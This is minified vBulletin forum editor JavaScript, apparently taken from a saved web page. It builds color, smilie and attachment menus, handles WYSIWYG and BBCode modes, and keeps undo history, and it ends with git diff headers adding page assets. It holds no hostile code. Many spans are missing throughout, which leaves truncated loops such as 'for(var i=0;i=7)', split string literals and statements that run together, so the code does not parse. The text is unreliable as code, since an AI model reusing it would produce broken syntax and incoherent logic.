div=document.createElement("div");div.style.backgroundColor=coloroptions[hex];var option=tr.insertCell(-1);option.style.textAlign="center";option.className="ocolor";option.appendChild(div);option.cmd=obj.cmd;option.editorid=this.editorid;option.controlkey=obj.id;option.colorname=coloroptions[hex];option.id=this.editorid+"_color_"+coloroptions[hex];option.onmouseover=option.onmouseout=option.onmouseup=option.onmousedown=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;option.onclick=vB_Text_Editor_Events.prototype.coloroption_onclick}menu.appendChild(table)};this.build_smilie_popup=function(obj,menu){for(var cat in smilieoptions){if(!YAHOO.lang.hasOwnProperty(smilieoptions,cat)){continue}var option;var category=document.createElement("div");category.className="thead";category.innerHTML=cat;menu.appendChild(category);for(var smilieid in smilieoptions[cat]){if(!YAHOO.lang.hasOwnProperty(smilieoptions[cat],smilieid)){continue}if(smilieid=="more"){option=document.createElement("div");option.className="thead";option.innerHTML=smilieoptions[cat][smilieid];option.style.cursor=pointer_cursor;option.editorid=this.editorid;option.controlkey=obj.id;option.onclick=vB_Text_Editor_Events.prototype.smiliemore_onclick}else{option=document.createElement("div");option.editorid=this.editorid;option.controlkey=obj.id;option.smilieid=smilieid;option.smilietext=smilieoptions[cat][smilieid][1];option.smilietitle=smilieoptions[cat][smilieid][2];option.className="osmilie";option.innerHTML=''+PHP.htmlspecialchars(smilieoptions[cat][smilieid][2])+' '+PHP.htmlspecialchars(smilieoptions[cat][smilieid][2]);option.onmouseover=option.onmouseout=option.onmousedown=option.onmouseup=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;option.onclick=vB_Text_Editor_Events.prototype.smilieoption_onclick}menu.appendChild(option)}}};this.build_attachments_popup=function(menu,obj){var id,div;if(this.popupmode){while(menu.hasChildNodes()){menu.removeChild(menu.firstChild)}div=document.createElement("div");div.editorid=this.editorid;div.controlkey=obj.id;div.className="thead";div.style.cursor=pointer_cursor;div.style.whiteSpace="nowrap";div.innerHTML=fetch_object("manage_attachments_button").value;div.title=fetch_object("manage_attachments_button").title;div.onclick=vB_Text_Editor_Events.prototype.attachmanage_onclick;menu.appendChild(div);var attach_count=0;for(id in vB_Attachments.attachments){if(!YAHOO.lang.hasOwnProperty(vB_Attachments.attachments,id)){continue}div=document.createElement("div");div.editorid=this.editorid;div.controlkey=obj.id;div.className="osmilie";div.attachmentid=id;div.style.whiteSpace="nowrap";div.innerHTML=' '+vB_Attachments.attachments[id]["filename"];div.onmouseover=div.onmouseout=div.onmousedown=div.onmouseup=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;div.onclick=vB_Text_Editor_Events.prototype.attachoption_onclick;menu.appendChild(div);attach_count++}if(attach_count>1){div=document.createElement("div");div.editorid=this.editorid;div.controlkey=obj.id;div.className="osmilie";div.style.fontWeight="bold";div.style.paddingLeft="25px";div.style.whiteSpace="nowrap";div.innerHTML=vbphrase.insert_all;div.onmouseover=div.onmouseout=div.onmousedown=div.onmouseup=vB_Text_Editor_Events.prototype.menuoption_onmouseevent;div.onclick=vB_Text_Editor_Events.prototype.attachinsertall_onclick;menu.appendChild(div)}}else{while(menu.options.length>2){menu.remove(menu.options.length-1)}for(id in vB_Attachments.attachments){if(!YAHOO.lang.hasOwnProperty(vB_Attachments.attachments,id)){continue}var opt=document.createElement("option");opt.value=id;opt.text=vB_Attachments.attachments[id]["filename"];menu.add(opt,is_ie?menu.options.length:null)}}set_unselectable(menu)};this.menu_context=function(obj,state){if(this.disabled){return }switch(obj.state){case true:this.set_control_style(obj,"button","down");break;default:switch(state){case"mouseout":this.set_control_style(obj,"button","normal");break;case"mousedown":this.set_control_style(obj,"popup","down");break;case"mouseup":case"mouseover":this.set_control_style(obj,"button","hover");break}}};this.button_context=function(obj,state,controltype){if(this.disabled){return }if(typeof controltype=="undefined"){controltype="button"}switch(obj.state){case true:switch(state){case"mouseover":case"mousedown":case"mouseup":this.set_control_style(obj,controltype,"down");break;case"mouseout":this.set_control_style(obj,controltype,"selected");break}break;default:switch(state){case"mouseover":case"mouseup":this.set_control_style(obj,controltype,"hover");break;case"mousedown":this.set_control_style(obj,controltype,"down");break;case"mouseout":this.set_control_style(obj,controltype,"normal");break}break}};this.set_control_style=function(obj,controltype,mode){if(obj.mode!=mode){obj.mode=mode;istyle="pi_"+controltype+"_"+obj.mode;if(typeof istyles!="undefined"&&typeof istyles[istyle]!="undefined"){obj.style.background=istyles[istyle][0];obj.style.color=istyles[istyle][1];if(controltype!="menu"){obj.style.padding=istyles[istyle][2]}obj.style.border=istyles[istyle][3];var tds=fetch_tags(obj,"td");for(var i=0;i=7){var base_tag=fetch_tags(document,"base");var modal_prefix;if(base_tag&&base_tag[0]&&base_tag[0].href){modal_prefix=base_tag[0].href}else{modal_prefix=""}returnvalue=window.showModalDialog(modal_prefix+"clientscript/ieprompt.html?",{value:defaultval,label:dialogtxt,dir:document.dir,title:document.title,forceltr:(typeof (forceltr)!="undefined"?forceltr:false)},"dialogWidth:320px; dialogHeight:150px; dialogTop:"+(parseInt(window.screenTop)+parseInt(window.event.clientY)+parseInt(document.body.scrollTop)-100)+"px; dialogLeft:"+(parseInt(window.screenLeft)+parseInt(window.event.clientX)+parseInt(document.body.scrollLeft)-160)+"px; resizable: No;")}else{returnvalue=prompt(dialogtxt,defaultval)}if(typeof (returnvalue)=="undefined"){return false}else{if(returnvalue==false||returnvalue==null){return returnvalue}else{return PHP.trim(new String(returnvalue))}}};this.verify_prompt=function(str){switch(str){case"http://":case"null":case"undefined":case"false":case"":case null:case false:return false;default:return str}};this.open_smilie_window=function(width,height){smilie_window=openWindow("misc.php?"+SESSIONURL+"do=getsmilies&editorid="+this.editorid,width,height,"smilie_window");window.onunload=vB_Text_Editor_Events.prototype.smiliewindow_onunload};this.resize_editor=function(change){var newheight=parseInt(this.editbox.style.height,10)+change;if(newheight>=60){this.editbox.style.height=newheight+"px";if(change%99!=0){set_cookie("editor_height",newheight)}}};this.destroy_popup=function(popupname){this.popups[popupname].parentNode.removeChild(this.popups[popupname]);this.popups[popupname]=null};this.destroy=function(){var i;for(i in this.buttons){if(YAHOO.lang.hasOwnProperty(this.buttons,i)){this.set_control_style(this.buttons[i],"button","normal")}}for(var menu in this.popups){if(YAHOO.lang.hasOwnProperty(this.popups,menu)){this.destroy_popup(menu)}}if(this.fontoptions){for(i in this.fontoptions){if(YAHOO.lang.hasOwnProperty(this.fontoptions,i)&&i!=""){this.fontoptions[i].parentNode.removeChild(this.fontoptions[i])}}this.fontoptions[""].style.display=""}if(this.sizeoptions){for(i in this.sizeoptions){if(YAHOO.lang.hasOwnProperty(this.sizeoptions,i)&&i!=""){this.sizeoptions[i].parentNode.removeChild(this.sizeoptions[i])}}this.sizeoptions[""].style.display=""}};this.collapse_selection_end=function(){var range;if(this.editdoc.selection){range=this.editdoc.selection.createRange();eval("range.move('character', -1);");range.collapse(false);range.select()}else{if(document.selection&&document.selection.createRange){range=document.selection.createRange();range.collapse(false);range.select()}else{if(typeof (this.editdoc.selectionStart)!="undefined"){var sel_text=this.editdoc.value.substr(this.editdoc.selectionStart,this.editdoc.selectionEnd-this.editdoc.selectionStart);this.editdoc.selectionStart=this.editdoc.selectionStart+sel_text.vBlength()}else{if(window.getSelection){}}}}};if(this.wysiwyg_mode){this.disable_editor=function(text){if(!this.disabled){this.disabled=true;var hider=fetch_object(this.editorid+"_hider");if(hider){hider.parentNode.removeChild(hider)}var div=document.createElement("div");div.id=this.editorid+"_hider";div.className="wysiwyg";div.style.border="2px inset";div.style.margin="0px";div.style.padding="0px";div.style.width=this.editbox.style.width;div.style.height=this.editbox.style.height;var childdiv=document.createElement("div");childdiv.style.margin="8px";childdiv.innerHTML=text;div.appendChild(childdiv);this.editbox.parentNode.appendChild(div);this.editbox.style.width="0px";this.editbox.style.height="0px";this.editbox.style.border="none"}};this.enable_editor=function(text){if(typeof text!="undefined"){this.set_editor_contents(text)}var hider=fetch_object(this.editorid+"_hider");if(hider){hider.parentNode.removeChild(hider)}this.disabled=false};this.write_editor_contents=function(text,doinit){if(text==""){if(is_ie){text="

    "}else{if(is_moz){text="
    "}}}if(this.editdoc&&this.editdoc.initialized){this.editdoc.body.innerHTML=text}else{this.editdoc=this.editwin.document;this.editdoc.open("text/html","replace");this.editdoc.write(text);this.editdoc.close();if(doinit){if(is_moz){this.editdoc.designMode="on"}else{this.editdoc.body.contentEditable=true}}this.editdoc.body.spellcheck=true;this.editdoc.initialized=true;this.set_editor_style()}this.set_direction()};this.set_editor_contents=function(initial_text){if(fetch_object(this.editorid+"_iframe")){this.editbox=fetch_object(this.editorid+"_iframe")}else{var iframe=document.createElement("iframe");if(is_ie&&window.location.protocol=="https:"){iframe.src="clientscript/index.html"}this.editbox=this.textobj.parentNode.appendChild(iframe);this.editbox.id=this.editorid+"_iframe";this.editbox.tabIndex=1}if(!is_ie){this.editbox.style.border="2px inset"}this.set_editor_width(typeof (this.textobj.style.oWidth)!="undefined"?this.textobj.style.oWidth:this.textobj.style.width);this.editbox.style.height=this.textobj.style.height;this.textobj.style.display="none";this.editwin=this.editbox.contentWindow;this.editdoc=this.editwin.document;this.write_editor_contents((typeof initial_text=="undefined"?this.textobj.value:initial_text),true);if(this.editdoc.dir=="rtl"){}this.spellobj=this.editdoc.body;this.editdoc.editorid=this.editorid;this.editwin.editorid=this.editorid};this.set_editor_width=function(width,overwrite_original){this.editbox.style.width=width};this.set_direction=function(){this.editdoc.dir=this.textobj.dir};this.set_editor_style=function(){var wysiwyg_csstext="";var have_usercss=false;var all_stylesheets=fetch_all_stylesheets(document.styleSheets);for(var ss=0;ss=0){var split_selectors=rules[i].selectorText.split(",");for(var selid=0;selid=0){selectors.push(split_selectors[selid])}if(split_selectors[selid].indexOf("#usercss")>=0){have_usercss=true}}process=true}if(process){var css_rules="{ "+rules[i].style.cssText+" }";if(is_moz){css_rules=css_rules.replace(/; /g," !important; ")}wysiwyg_csstext+=selectors.join(", ")+" "+css_rules+"\n"}}}wysiwyg_csstext+=" p { margin: 0px; } .inlineimg { vertical-align: middle; }";if(is_ie){this.editdoc.createStyleSheet().cssText=wysiwyg_csstext}else{var newss=this.editdoc.createElement("style");newss.type="text/css";newss.innerHTML=wysiwyg_csstext;this.editdoc.documentElement.childNodes[0].appendChild(newss)}if(have_usercss){this.editdoc.body.parentNode.id="usercss"}this.editdoc.body.className="wysiwyg"};this.set_editor_functions=function(){this.editdoc.onmouseup=vB_Text_Editor_Events.prototype.editdoc_onmouseup;this.editdoc.onkeyup=vB_Text_Editor_Events.prototype.editdoc_onkeyup;if(this.editdoc.attachEvent){this.editdoc.body.attachEvent("onresizestart",vB_Text_Editor_Events.prototype.editdoc_onresizestart)}this.editwin.onfocus=vB_Text_Editor_Events.prototype.editwin_onfocus;this.editwin.onblur=vB_Text_Editor_Events.prototype.editwin_onblur};this.set_context=function(cmd){for(var i in contextcontrols){if(!YAHOO.lang.hasOwnProperty(contextcontrols,i)){continue}var obj=fetch_object(this.editorid+"_cmd_"+contextcontrols[i]);if(obj!=null){var state=this.editdoc.queryCommandState(contextcontrols[i]);if(obj.state!=state){obj.state=state;this.button_context(obj,(obj.cmd==cmd?"mouseover":"mouseout"))}}}this.set_font_context();this.set_size_context();this.set_color_context()};this.set_font_context=function(fontstate){if(this.buttons.fontname){if(typeof fontstate=="undefined"){fontstate=this.editdoc.queryCommandValue("fontname")}switch(fontstate){case"":if(!is_ie&&window.getComputedStyle){fontstate=this.editdoc.body.style.fontFamily}break;case null:fontstate="";break}if(fontstate!=this.fontstate){this.fontstate=fontstate;var thingy=PHP.ucfirst(this.fontstate,",");var i;if(this.popupmode){for(i in this.fontoptions){if(YAHOO.lang.hasOwnProperty(this.fontoptions,i)){this.fontoptions[i].style.display=(i==thingy?"":"none")}}}else{for(i=0;i>8)&255).toString(16),((forecolor>>16)&255).toString(16))};this.translate_silly_hex=function(r,g,b){return coloroptions["#"+(PHP.str_pad(r,2,0)+PHP.str_pad(g,2,0)+PHP.str_pad(b,2,0)).toUpperCase()]};this.apply_format=function(cmd,dialog,argument){this.editdoc.execCommand(cmd,(typeof dialog=="undefined"?false:dialog),(typeof argument=="undefined"?true:argument));return false};this.createlink=function(e,url){return this.apply_format("createlink",is_ie,(typeof url=="undefined"?true:url))};this.email=function(e,email){if(typeof email=="undefined"){email=this.show_prompt(vbphrase.enter_email_link,"",true)}email=this.verify_prompt(email);if(email===false){return this.apply_format("unlink")}else{var selection=this.get_selection();return this.insert_text(''+(selection?selection:email)+"",(selection?true:false))}};this.insert_smilie=function(e,smilietext,smiliepath,smilieid){this.check_focus();return this.insert_text('0',false)};this.get_editor_contents=function(){return this.editdoc.body.innerHTML};this.get_selection=function(){var range=this.editdoc.selection.createRange();if(range.htmlText&&range.text){return range.htmlText}else{var do_not_steal_this_code_html="";for(var i=0;i'+url+"")}}return true};this.insert_smilie=function(e,smilietext,smiliepath,smilieid){this.check_focus();try{this.apply_format("InsertImage",false,smiliepath);var smilies=fetch_tags(this.editdoc.body,"img");for(var i=0;i":">"}for(i=root.firstChild;i;i=i.nextSibling){html+=this.read_nodes(i,true)}if(toptag&&!closed){html+=""}break;case Node.TEXT_NODE:html=PHP.htmlspecialchars(root.data);break}return html};this.insert_node_at_selection=function(text){this.check_focus();var sel=this.editwin.getSelection();var range=sel?sel.getRangeAt(0):this.editdoc.createRange();sel.removeAllRanges();range.deleteContents();var node=range.startContainer;var pos=range.startOffset;switch(node.nodeType){case Node.ELEMENT_NODE:if(text.nodeType==Node.DOCUMENT_FRAGMENT_NODE){selNode=text.firstChild}else{selNode=text}node.insertBefore(text,node.childNodes[pos]);this.add_range(selNode);break;case Node.TEXT_NODE:if(text.nodeType==Node.TEXT_NODE){var text_length=pos+text.length;node.insertData(pos,text.data);range=this.editdoc.createRange();range.setEnd(node,text_length);range.setStart(node,text_length);sel.addRange(range)}else{node=node.splitText(pos);var selNode;if(text.nodeType==Node.DOCUMENT_FRAGMENT_NODE){selNode=text.firstChild}else{selNode=text}node.parentNode.insertBefore(text,node);this.add_range(selNode)}break}}}else{if(is_opera){this._createlink=this.createlink;this.createlink=function(e,url){if(typeof url=="undefined"){url=this.show_prompt(vbphrase.enter_link_url,"http://",true)}if((url=this.verify_prompt(url))!==false){if(this.get_selection()){this.apply_format("unlink");this._createlink(e,url)}else{this.insert_text(''+url+"")}}return true};this.insert_smilie=function(e,smilietext,smiliepath,smilieid){this.check_focus();try{this.apply_format("InsertImage",false,smiliepath);var smilies=fetch_tags(this.editdoc.body,"img");for(var i=0;i0){this.textobj.style.width=orig_offset+"px";this.textobj.style.width=(orig_offset+orig_offset-this.textobj.offsetWidth)+"px"}}else{this.textobj.style.width=width}};this.set_editor_style=function(){};this.set_editor_functions=function(){if(this.editdoc.addEventListener){this.editdoc.addEventListener("keypress",vB_Text_Editor_Events.prototype.editdoc_onkeypress,false)}else{if(is_ie){this.editdoc.onkeydown=vB_Text_Editor_Events.prototype.editdoc_onkeypress}}this.editwin.onfocus=vB_Text_Editor_Events.prototype.editwin_onfocus;this.editwin.onblur=vB_Text_Editor_Events.prototype.editwin_onblur};this.set_context=function(){};this.apply_format=function(cmd,dialog,argument){switch(cmd){case"bold":case"italic":case"underline":this.wrap_tags(cmd.substr(0,1),false);return ;case"justifyleft":case"justifycenter":case"justifyright":this.wrap_tags(cmd.substr(7),false);return ;case"indent":this.wrap_tags(cmd,false);return ;case"fontname":this.wrap_tags("font",argument);return ;case"fontsize":this.wrap_tags("size",argument);return ;case"forecolor":this.wrap_tags("color",argument);return ;case"createlink":var sel=this.get_selection();if(sel){this.wrap_tags("url",argument)}else{this.wrap_tags("url",argument,argument)}return ;case"insertimage":this.wrap_tags("img",false,argument);return ;case"removeformat":return }};this.undo=function(){this.history.add_snapshot(this.get_editor_contents());this.history.move_cursor(-1);var str;if((str=this.history.get_snapshot())!==false){this.editdoc.value=str}};this.redo=function(){this.history.move_cursor(1);var str;if((str=this.history.get_snapshot())!==false){this.editdoc.value=str}};this.strip_simple=function(tag,str,iterations){var opentag="["+tag+"]";var closetag="[/"+tag+"]";if(typeof iterations=="undefined"){iterations=-1}while((startindex=PHP.stripos(str,opentag))!==false&&iterations!=0){iterations--;if((stopindex=PHP.stripos(str,closetag))!==false){var text=str.substr(startindex+opentag.length,stopindex-startindex-opentag.length);str=str.substr(0,startindex)+text+str.substr(stopindex+closetag.length)}else{break}}return str};this.strip_complex=function(tag,str,iterations){var opentag="["+tag+"=";var closetag="[/"+tag+"]";if(typeof iterations=="undefined"){iterations=-1}while((startindex=PHP.stripos(str,opentag))!==false&&iterations!=0){iterations--;if((stopindex=PHP.stripos(str,closetag))!==false){var openend=PHP.stripos(str,"]",startindex);if(openend!==false&&openend>startindex&&openend=7){var base_tag=fetch_tags(document,"base");var modal_prefix;if(base_tag&&base_tag[0]&&base_tag[0].href){modal_prefix=base_tag[0].href}else{modal_prefix=""}var listvalue=window.showModalDialog(modal_prefix+"clientscript/ieprompt.html?",{value:"",label:vbphrase.enter_list_item,dir:document.dir,title:document.title,listtype:listtype},"dialogWidth:320px; dialogHeight:232px; dialogTop:"+(parseInt(window.screenTop)+parseInt(window.event.clientY)+parseInt(document.body.scrollTop)-100)+"px; dialogLeft:"+(parseInt(window.screenLeft)+parseInt(window.event.clientX)+parseInt(document.body.scrollLeft)-160)+"px; resizable: No;");if(this.verify_prompt(listvalue)){this.insert_text(listvalue,listvalue.vBlength(),0)}}else{while(listvalue=this.show_prompt(vbphrase.enter_list_item,"",false)){listvalue="[*]"+listvalue+"\n";this.insert_text(listvalue,listvalue.vBlength(),0)}}}};this.outdent=function(e){var sel=this.get_selection();sel=this.strip_simple("indent",sel,1);this.insert_text(sel)};this.get_editor_contents=function(){return this.editdoc.value};this.get_selection=function(){if(typeof (this.editdoc.selectionStart)!="undefined"){return this.editdoc.value.substr(this.editdoc.selectionStart,this.editdoc.selectionEnd-this.editdoc.selectionStart)}else{if(document.selection&&document.selection.createRange){return document.selection.createRange().text}else{if(window.getSelection){return window.getSelection()+""}else{return false}}}};this.insert_text=function(text,movestart,moveend){var selection_changed=false;this.check_focus();if(typeof (this.editdoc.selectionStart)!="undefined"){var opn=this.editdoc.selectionStart+0;var scrollpos=this.editdoc.scrollTop;this.editdoc.value=this.editdoc.value.substr(0,this.editdoc.selectionStart)+text+this.editdoc.value.substr(this.editdoc.selectionEnd);if(movestart===false){}else{if(typeof movestart!="undefined"){this.editdoc.selectionStart=opn+movestart;this.editdoc.selectionEnd=opn+text.vBlength()-moveend}else{this.editdoc.selectionStart=opn;this.editdoc.selectionEnd=opn+text.vBlength()}}this.editdoc.scrollTop=scrollpos}else{if(document.selection&&document.selection.createRange){var sel=document.selection.createRange();sel.text=text.replace(/\r?\n/g,"\r\n");if(movestart===false){}else{if(typeof movestart!="undefined"){if((movestart-text.vBlength())!=0){sel.moveStart("character",movestart-text.vBlength());selection_changed=true}if(moveend!=0){sel.moveEnd("character",-moveend);selection_changed=true}}else{sel.moveStart("character",-text.vBlength());selection_changed=true}}if(selection_changed){sel.select()}}else{this.editdoc.value+=text}}};this.prepare_submit=function(subjecttext,minchars){var returnvalue=validatemessage(this.textobj.value,subjecttext,minchars);if(returnvalue){return returnvalue}else{if(this.captcha!=null&&this.captcha.failed){return returnvalue}else{this.check_focus();return false}}};if(is_saf||(is_opera&&(!opera.version||opera.version()<8))){this.insertlist=function(phrase,listtype){var opentag="[LIST"+(listtype?("="+listtype):"")+"]\n";var closetag="[/LIST]";var txt;if(txt=this.get_selection()){var regex=new RegExp("([\r\n]+|^[\r\n]*)(?!\\[\\*\\]|\\[\\/?list)(?=[^\r\n])","gi");txt=opentag+PHP.trim(txt).replace(regex,"$1[*]")+"\n"+closetag;this.insert_text(txt,txt.vBlength(),0)}else{this.insert_text(opentag,opentag.length,0);while(listvalue=prompt(vbphrase.enter_list_item,"")){listvalue="[*]"+listvalue+"\n";this.insert_text(listvalue,listvalue.vBlength(),0)}this.insert_text(closetag,closetag.length,0)}}}}this.init()}function vB_Text_Editor_Events(){}vB_Text_Editor_Events.prototype.smilie_onclick=function(A){vB_Editor[this.editorid].insert_smilie(A,this.alt,this.src,this.id.substr(this.id.lastIndexOf("_")+1));if(typeof smilie_window!="undefined"&&!smilie_window.closed){smilie_window.focus()}return false};vB_Text_Editor_Events.prototype.command_button_onmouseevent=function(A){A=do_an_e(A);if(A.type=="click"){vB_Editor[this.editorid].format(A,this.cmd,false,true)}vB_Editor[this.editorid].button_context(this,A.type)};vB_Text_Editor_Events.prototype.popup_button_onmouseevent=function(A){A=do_an_e(A);if(A.type=="click"){this._onclick(A);vB_Editor[this.editorid].menu_context(this,"mouseover")}else{vB_Editor[this.editorid].menu_context(this,A.type)}};vB_Text_Editor_Events.prototype.popup_button_show=function(C,B){var A=true;if(typeof vB_Editor[C.editorid].popups[C.cmd]=="undefined"||vB_Editor[C.editorid].popups[C.cmd]==null){A=vB_Editor[C.editorid].init_popup_menu(C)}else{if(C.cmd=="attach"&&(typeof vB_Attachments=="undefined"||!vB_Attachments.has_attachments())){fetch_object("manage_attachments_button").onclick();return }}if(A){this._show(C,B)}};vB_Text_Editor_Events.prototype.formatting_select_onchange=function(B){var A=this.options[this.selectedIndex].value;if(A!=""){vB_Editor[this.editorid].format(B,this.cmd,A)}this.selectedIndex=0};vB_Text_Editor_Events.prototype.smilieselect_onchange=function(A){if(this.options[this.selectedIndex].value!=""){vB_Editor[this.editorid].insert_smilie(A,this.options[this.selectedIndex].value,this.options[this.selectedIndex].smiliepath,this.options[this.selectedIndex].smilieid)}this.selectedIndex=0};vB_Text_Editor_Events.prototype.attachselect_onchange=function(B){var A=this.options[this.selectedIndex].value;if(A!=""){vB_Editor[this.editorid].wrap_tags("attach",false,A)}this.selectedIndex=0};vB_Text_Editor_Events.prototype.attachselect_onmouseover=function(A){if(this.options.length<=2){vB_Editor[this.editorid].build_attachments_popup(this);return true}};vB_Text_Editor_Events.prototype.menuoption_onmouseevent=function(A){A=do_an_e(A);vB_Editor[this.editorid].button_context(this,A.type,"menu")};vB_Text_Editor_Events.prototype.formatting_option_onclick=function(A){vB_Editor[this.editorid].format(A,this.cmd,this.firstChild.innerHTML);vBmenu.hide()};vB_Text_Editor_Events.prototype.coloroption_onclick=function(A){fetch_object(this.editorid+"_color_bar").style.backgroundColor=this.colorname;vB_Editor[this.editorid].format(A,this.cmd,this.colorname);vBmenu.hide()};vB_Text_Editor_Events.prototype.colorout_onclick=function(A){A=do_an_e(A);vB_Editor[this.editorid].format(A,"forecolor",fetch_object(this.editorid+"_color_bar").style.backgroundColor);return false};vB_Text_Editor_Events.prototype.smilieoption_onclick=function(A){vB_Editor[this.editorid].button_context(this,"mouseout","menu");vB_Editor[this.editorid].insert_smilie(A,this.smilietext,fetch_tags(this,"img")[0].src,this.smilieid);vBmenu.hide()};vB_Text_Editor_Events.prototype.smiliemore_onclick=function(A){vB_Editor[this.editorid].open_smilie_window(smiliewindow_x,smiliewindow_y);vBmenu.hide()};vB_Text_Editor_Events.prototype.attachmanage_onclick=function(A){vBmenu.hide();fetch_object("manage_attachments_button").onclick()};vB_Text_Editor_Events.prototype.attachoption_onclick=function(A){vB_Editor[this.editorid].button_context(this,"mouseout","menu");vB_Editor[this.editorid].wrap_tags("attach",false,this.attachmentid);vBmenu.hide()};vB_Text_Editor_Events.prototype.attachinsertall_onclick=function(C){var B="";var A=(vB_Editor[this.editorid].wysiwyg_mode?"

    ":"\r\n\r\n");for(var D in vB_Attachments.attachments){if(YAHOO.lang.hasOwnProperty(vB_Attachments.attachments,D)){B+=B!=""?A:"";B+="[ATTACH]"+D+"[/ATTACH]"}}vB_Editor[this.editorid].insert_text(B);vBmenu.hide()};vB_Text_Editor_Events.prototype.smiliewindow_onunload=function(A){if(typeof smilie_window!="undefined"&&!smilie_window.closed){smilie_window.close()}};vB_Text_Editor_Events.prototype.editwin_onfocus=function(A){this.hasfocus=true};vB_Text_Editor_Events.prototype.editwin_onblur=function(A){this.hasfocus=false};vB_Text_Editor_Events.prototype.editdoc_onmouseup=function(A){vB_Editor[this.editorid].set_context();if(vB_Editor[this.editorid].popupmode){vBmenu.hide()}};vB_Text_Editor_Events.prototype.editdoc_onkeyup=function(A){vB_Editor[this.editorid].set_context()};vB_Text_Editor_Events.prototype.editdoc_onkeypress=function(C){if(!C){C=window.event}if(C.ctrlKey){if(vB_Editor[this.editorid].allowbasicbbcode==false){return }var A=C.charCode?C.charCode:C.keyCode;var B;switch(String.fromCharCode(A).toLowerCase()){case"b":B="bold";break;case"i":B="italic";break;case"u":B="underline";break;default:return }C=do_an_e(C);vB_Editor[this.editorid].apply_format(B,false,null);return false}else{if(C.keyCode==9){if(C.shiftKey||(C.modifiers&&(C.modifiers&4))){return }if(is_opera){return }if(fetch_object("tag_add_input")!=null){fetch_object("tag_add_input").focus()}else{if(fetch_object("rb_iconid_0")!=null){fetch_object("rb_iconid_0").focus()}else{if(fetch_object(this.editorid+"_save")!=null){fetch_object(this.editorid+"_save").focus()}else{if(fetch_object("qr_submit")!=null){fetch_object("qr_submit").focus()}else{return }}}}C=do_an_e(C);return }}};vB_Text_Editor_Events.prototype.editdoc_onresizestart=function(A){if(A.srcElement.tagName=="IMG"){return false}};function save_iframe_to_textarea(){for(var A in vB_Editor){if(!YAHOO.lang.hasOwnProperty(vB_Editor,A)){continue}if(vB_Editor[A].wysiwyg_mode&&vB_Editor[A].initialized){vB_Editor[A].textobj.value=vB_Editor[A].get_editor_contents()}}}if(window.attachEvent){window.attachEvent("onbeforeunload",save_iframe_to_textarea)}else{if(window.addEventListener){window.addEventListener("unload",save_iframe_to_textarea,true)}}function switch_editor_mode(A){if(AJAX_Compatible){var B=(vB_Editor[A].wysiwyg_mode?0:1);if(vB_Editor[A].influx==1){return }else{vB_Editor[A].influx=1}if(typeof vBmenu!="undefined"){vBmenu.hide()}YAHOO.util.Connect.asyncRequest("POST","ajax.php?do=editorswitch",{success:do_switch_editor_mode,timeout:vB_Default_Timeout,argument:[A,B]},SESSIONURL+"securitytoken="+SECURITYTOKEN+"&do=editorswitch&towysiwyg="+B+"&parsetype="+vB_Editor[A].parsetype+"&allowsmilie="+vB_Editor[A].parsesmilies+"&message="+PHP.urlencode(vB_Editor[A].get_editor_contents())+(vB_Editor[A].ajax_extra?("&"+vB_Editor[A].ajax_extra):"")+(typeof vB_Editor[A].textobj.form["options[allowbbcode]"]!="undefined"?"&allowbbcode="+vB_Editor[A].textobj.form["options[allowbbcode]"].checked:""))}}function do_switch_editor_mode(H){if(H.responseXML){var C=vB_Editor[H.argument[0]].parsetype;var D=vB_Editor[H.argument[0]].parsesmilies;var G=vB_Editor[H.argument[0]].ajax_extra;vB_Editor[H.argument[0]].destroy();var A=H.responseXML.getElementsByTagName("message")[0];if(typeof A!="undefined"){A=A.firstChild}var F=(A?A.nodeValue:"");var E=F.match(/&#([0-9]+);/g);if(E){for(var B=0;typeof E[B]!="undefined";B++){if(submatch=E[B].match(/^&#([0-9]+);$/)){F=F.replace(submatch[0],String.fromCharCode(submatch[1]))}}}vB_Editor[H.argument[0]]=new vB_Text_Editor(H.argument[0],H.argument[1],C,D,F,G);vB_Editor[H.argument[0]].check_focus();fetch_object(H.argument[0]+"_mode").value=H.argument[1]}}var contextcontrols=new Array("bold","italic","underline","justifyleft","justifycenter","justifyright","insertorderedlist","insertunorderedlist");var coloroptions=new Array();coloroptions={"#000000":"Black","#A0522D":"Sienna","#556B2F":"DarkOliveGreen","#006400":"DarkGreen","#483D8B":"DarkSlateBlue","#000080":"Navy","#4B0082":"Indigo","#2F4F4F":"DarkSlateGray","#8B0000":"DarkRed","#FF8C00":"DarkOrange","#808000":"Olive","#008000":"Green","#008080":"Teal","#0000FF":"Blue","#708090":"SlateGray","#696969":"DimGray","#FF0000":"Red","#F4A460":"SandyBrown","#9ACD32":"YellowGreen","#2E8B57":"SeaGreen","#48D1CC":"MediumTurquoise","#4169E1":"RoyalBlue","#800080":"Purple","#808080":"Gray","#FF00FF":"Magenta","#FFA500":"Orange","#FFFF00":"Yellow","#00FF00":"Lime","#00FFFF":"Cyan","#00BFFF":"DeepSkyBlue","#9932CC":"DarkOrchid","#C0C0C0":"Silver","#FFC0CB":"Pink","#F5DEB3":"Wheat","#FFFACD":"LemonChiffon","#98FB98":"PaleGreen","#AFEEEE":"PaleTurquoise","#ADD8E6":"LightBlue","#DDA0DD":"Plum","#FFFFFF":"White"};function vB_History(){this.cursor=-1;this.stack=new Array()}vB_History.prototype.move_cursor=function(A){var B=this.cursor+A;if(B>=0&&this.stack[B]!=null&&typeof this.stack[B]!="undefined"){this.cursor+=A}};vB_History.prototype.add_snapshot=function(A){if(this.stack[this.cursor]==A){return }else{this.cursor++;this.stack[this.cursor]=A;if(typeof this.stack[this.cursor+1]!="undefined"){this.stack[this.cursor+1]=null}}};vB_History.prototype.get_snapshot=function(){if(typeof this.stack[this.cursor]!="undefined"&&this.stack[this.cursor]!=null){return this.stack[this.cursor]}else{return false}}; \ No newline at end of file diff --git a/docs/radar_developmemt_files/viewpost.gif b/docs/radar_developmemt_files/viewpost.gif new file mode 100644 index 0000000..074396a Binary files /dev/null and b/docs/radar_developmemt_files/viewpost.gif differ diff --git a/docs/radar_developmemt_files/yahoo-dom-event.js b/docs/radar_developmemt_files/yahoo-dom-event.js new file mode 100644 index 0000000..5b83879 --- /dev/null +++ b/docs/radar_developmemt_files/yahoo-dom-event.js @@ -0,0 +1,13 @@ +/* +Copyright (c) 2009, Yahoo! Inc. All rights reserved. +Code licensed under the BSD License: +http://developer.yahoo.net/yui/license.txt +version: 2.7.0 +*/ +if(typeof YAHOO=="undefined"||!YAHOO){var YAHOO={};}YAHOO.namespace=function(){var 